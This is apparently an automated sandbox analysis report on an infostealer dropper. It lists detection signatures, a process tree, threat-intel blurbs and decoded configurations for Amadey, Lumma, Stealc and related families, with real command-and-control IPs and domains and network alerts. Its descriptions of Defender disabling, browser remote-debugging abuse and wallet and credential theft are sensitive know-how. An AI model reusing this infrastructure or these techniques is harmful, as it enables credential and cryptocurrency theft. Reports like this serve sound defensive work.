Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1553938
MD5:	7f588fe16ce0b9ae1671cd6db5ce4380
SHA1:	bca4dc7424985793487d16004e033f3ae92f4d6f
SHA256:	4fcb7be72c4f45199bf2d28b95c8f709b343efb27ae10eb76bbb2b4d43905638
Tags:	exeuser-Bitsight
Infos:

Detection

PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Detected PureCrypter Trojan

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

Modifies windows update settings

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6608 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 7F588FE16CE0B9AE1671CD6DB5CE4380)

chrome.exe (PID: 3176 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5596 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2164,i,15898123494483601464,15029883802132799241,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 8056 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7748 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2432 --field-trial-handle=2176,i,4830028604527488115,10037130413237682482,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 9052 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsAKKEGHJDHD.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsAKKEGHJDHD.exe (PID: 9172 cmdline: "C:\Users\user\DocumentsAKKEGHJDHD.exe" MD5: AAB4852D22A50164C2F6402A82A446BD)

skotes.exe (PID: 8208 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: AAB4852D22A50164C2F6402A82A446BD)

msedge.exe (PID: 7864 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7324 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2988 --field-trial-handle=2076,i,5968905137283756732,12874145520682871177,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8692 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5236 --field-trial-handle=2076,i,5968905137283756732,12874145520682871177,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8700 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7032 --field-trial-handle=2076,i,5968905137283756732,12874145520682871177,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8264 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6316 --field-trial-handle=2076,i,5968905137283756732,12874145520682871177,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 1012 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2988 --field-trial-handle=2076,i,5968905137283756732,12874145520682871177,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 8552 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: AAB4852D22A50164C2F6402A82A446BD)

skotes.exe (PID: 8960 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: AAB4852D22A50164C2F6402A82A446BD)

5912d4444a.exe (PID: 6308 cmdline: "C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe" MD5: 0EB8E45168C931C4451682C65DDE3A7E)

b84e35a556.exe (PID: 9016 cmdline: "C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe" MD5: 7F588FE16CE0B9AE1671CD6DB5CE4380)

skotes.exe (PID: 3668 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: AAB4852D22A50164C2F6402A82A446BD)

9ec07c9018.exe (PID: 6476 cmdline: "C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe" MD5: D7E735E3F0A7FE8EBA17313DE3B48AA5)

5912d4444a.exe (PID: 3176 cmdline: "C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe" MD5: 0EB8E45168C931C4451682C65DDE3A7E)

b84e35a556.exe (PID: 6664 cmdline: "C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe" MD5: 7F588FE16CE0B9AE1671CD6DB5CE4380)

9ec07c9018.exe (PID: 8496 cmdline: "C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe" MD5: D7E735E3F0A7FE8EBA17313DE3B48AA5)

5912d4444a.exe (PID: 4912 cmdline: "C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe" MD5: 0EB8E45168C931C4451682C65DDE3A7E)

b84e35a556.exe (PID: 4028 cmdline: "C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe" MD5: 7F588FE16CE0B9AE1671CD6DB5CE4380)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
PureCrypter	According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021The malware has been observed distributing a variety of remote access trojans and information stealersThe loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software productsPureCrypter features provide persistence, injection and defense mechanisms that are configurable in Googles Protocol Buffer message format	No Attribution	https://any.run/cybersecurity-blog/pure-malware-family-analysis/ https://blog.netlab.360.com/purecrypter-is-busy-pumping-out-various-malicious-malware-families/ https://blog.sekoia.io/mallox-ransomware-affiliate-leverages-purecrypter-in-microsoft-sql-exploitation-campaigns/ https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter	https://malpedia.caad.fkie.fraunhofer.de/details/win.purecrypter

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: LummaC

{"C2 url": ["necklacedmny.store", "navygenerayk.store", "crisiwarny.store", "fadehairucw.store", "thumbystriw.store", "presticitpo.store", "scriptyprefej.store", "founpiuer.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000019.00000003.2858808504.0000000000934000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000019.00000003.2826895107.0000000000930000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000019.00000003.2826572598.000000000092D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000019.00000002.2999735217.0000000005C71000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000015.00000002.2468253524.0000000000A91000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000003.2987474200.0000000005650000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2422651725.000000000074E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2432002619.0000000000A01000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2047396173.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000002.3289202367.00000000008D8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000019.00000003.2952615207.00000000080D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000019.00000003.2830489975.0000000000932000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000019.00000003.2856534361.0000000000932000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000019.00000003.2832978210.0000000000932000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000002.2866034548.0000000000CB1000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000023.00000003.3232047766.0000000005360000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000020.00000002.3037729886.0000000000CB1000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000002.2436252092.00000000005E1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000002.3038650924.000000000172B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000019.00000002.2994508562.00000000008D8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000002.3287588775.0000000000A91000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000002.2475715054.0000000000A91000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000023.00000002.3272499902.0000000000CB1000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000003.2825109229.0000000004F30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000023.00000002.3273738251.000000000154B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000002.2865698823.0000000000B2D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000022.00000002.3299740608.00000000011FF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6608	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6608	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6608	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6608	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 5912d4444a.exe PID: 6308	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 5912d4444a.exe PID: 6308	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 5912d4444a.exe PID: 6308	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 5912d4444a.exe PID: 6308	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 5912d4444a.exe PID: 6308	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 5912d4444a.exe PID: 6308	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: b84e35a556.exe PID: 9016	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: b84e35a556.exe PID: 9016	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 5912d4444a.exe PID: 3176	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 5912d4444a.exe PID: 3176	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: b84e35a556.exe PID: 6664	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: b84e35a556.exe PID: 6664	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 5912d4444a.exe PID: 4912	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 5912d4444a.exe PID: 4912	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: b84e35a556.exe PID: 4028	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: b84e35a556.exe PID: 4028	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 43 entries

Unpacked PEs

Source	Rule	Description	Author
21.2.skotes.exe.a90000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.skotes.exe.a90000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
20.2.DocumentsAKKEGHJDHD.exe.5e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.skotes.exe.a90000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8960, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\5912d4444a.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6608, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 3176, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8960, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\5912d4444a.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:52:20.457943+0100	2022930	1	A Network Trojan was detected	52.149.20.212	443	192.168.2.5	49756	TCP
2024-11-11T19:52:59.487072+0100	2022930	1	A Network Trojan was detected	52.149.20.212	443	192.168.2.5	50117	TCP

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:53:12.093748+0100	2028371	3	Unknown Traffic	192.168.2.5	50122	23.192.247.89	443	TCP
2024-11-11T19:53:13.120553+0100	2028371	3	Unknown Traffic	192.168.2.5	50123	188.114.97.3	443	TCP
2024-11-11T19:53:14.017662+0100	2028371	3	Unknown Traffic	192.168.2.5	50125	188.114.97.3	443	TCP
2024-11-11T19:53:15.139565+0100	2028371	3	Unknown Traffic	192.168.2.5	50127	188.114.97.3	443	TCP
2024-11-11T19:53:16.819595+0100	2028371	3	Unknown Traffic	192.168.2.5	50129	188.114.97.3	443	TCP
2024-11-11T19:53:18.024577+0100	2028371	3	Unknown Traffic	192.168.2.5	50132	188.114.97.3	443	TCP
2024-11-11T19:53:19.339515+0100	2028371	3	Unknown Traffic	192.168.2.5	50134	188.114.97.3	443	TCP
2024-11-11T19:53:20.740056+0100	2028371	3	Unknown Traffic	192.168.2.5	50137	188.114.97.3	443	TCP
2024-11-11T19:53:24.306865+0100	2028371	3	Unknown Traffic	192.168.2.5	50145	188.114.97.3	443	TCP
2024-11-11T19:53:25.366053+0100	2028371	3	Unknown Traffic	192.168.2.5	50148	23.192.247.89	443	TCP
2024-11-11T19:53:26.406076+0100	2028371	3	Unknown Traffic	192.168.2.5	50149	188.114.97.3	443	TCP
2024-11-11T19:53:27.342823+0100	2028371	3	Unknown Traffic	192.168.2.5	50151	188.114.97.3	443	TCP
2024-11-11T19:53:28.660935+0100	2028371	3	Unknown Traffic	192.168.2.5	50152	188.114.97.3	443	TCP
2024-11-11T19:53:49.553366+0100	2028371	3	Unknown Traffic	192.168.2.5	50165	23.192.247.89	443	TCP
2024-11-11T19:53:50.545206+0100	2028371	3	Unknown Traffic	192.168.2.5	50166	188.114.97.3	443	TCP
2024-11-11T19:53:54.751631+0100	2028371	3	Unknown Traffic	192.168.2.5	50169	188.114.97.3	443	TCP
2024-11-11T19:53:58.428821+0100	2028371	3	Unknown Traffic	192.168.2.5	50173	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:53:13.489532+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50123	188.114.97.3	443	TCP
2024-11-11T19:53:14.404807+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50125	188.114.97.3	443	TCP
2024-11-11T19:53:24.680554+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50145	188.114.97.3	443	TCP
2024-11-11T19:53:26.782845+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50149	188.114.97.3	443	TCP
2024-11-11T19:53:27.712788+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50151	188.114.97.3	443	TCP
2024-11-11T19:53:54.230180+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50166	188.114.97.3	443	TCP
2024-11-11T19:53:57.586784+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50169	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:53:13.489532+0100	2049836	1	A Network Trojan was detected	192.168.2.5	50123	188.114.97.3	443	TCP
2024-11-11T19:53:26.782845+0100	2049836	1	A Network Trojan was detected	192.168.2.5	50149	188.114.97.3	443	TCP
2024-11-11T19:53:54.230180+0100	2049836	1	A Network Trojan was detected	192.168.2.5	50166	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:53:14.404807+0100	2049812	1	A Network Trojan was detected	192.168.2.5	50125	188.114.97.3	443	TCP
2024-11-11T19:53:27.712788+0100	2049812	1	A Network Trojan was detected	192.168.2.5	50151	188.114.97.3	443	TCP
2024-11-11T19:53:57.586784+0100	2049812	1	A Network Trojan was detected	192.168.2.5	50169	188.114.97.3	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:53:12.685679+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50121	185.215.113.43	80	TCP
2024-11-11T19:53:16.922646+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50128	185.215.113.43	80	TCP
2024-11-11T19:53:20.171186+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50135	185.215.113.43	80	TCP
2024-11-11T19:53:24.598314+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50146	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:53:11.284490+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.5	53862	1.1.1.1	53	UDP
2024-11-11T19:53:24.563158+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.5	49549	1.1.1.1	53	UDP
2024-11-11T19:53:48.791678+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.5	62486	1.1.1.1	53	UDP

